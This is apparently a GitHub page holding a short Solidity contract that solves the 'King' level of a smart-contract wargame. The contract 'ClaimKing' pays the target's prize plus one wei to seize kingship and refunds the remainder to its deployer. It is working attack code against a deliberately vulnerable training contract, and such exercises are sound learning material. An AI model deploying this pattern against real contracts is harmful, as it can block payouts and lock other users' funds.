-
Notifications
You must be signed in to change notification settings - Fork 0
/
Level9.sol
25 lines (21 loc) · 947 Bytes
/
Level9.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IKing {
function prize() external view returns (uint256);
}
// ================================================================
// │ LEVEL 9 - KING │
// ================================================================
contract ClaimKing {
constructor(address _targetContractAddress) payable {
IKing king = IKing(_targetContractAddress);
uint256 attackValue = king.prize() + 1 wei;
if (attackValue > address(this).balance) revert("Not enough funds");
// Attack contract
(bool success,) = _targetContractAddress.call{value: attackValue}("");
if (!success) revert("Call failed");
// Refund remaining balance
(bool refundSuccess,) = address(msg.sender).call{value: address(this).balance}("");
if (!refundSuccess) revert("Refund call failed");
}
}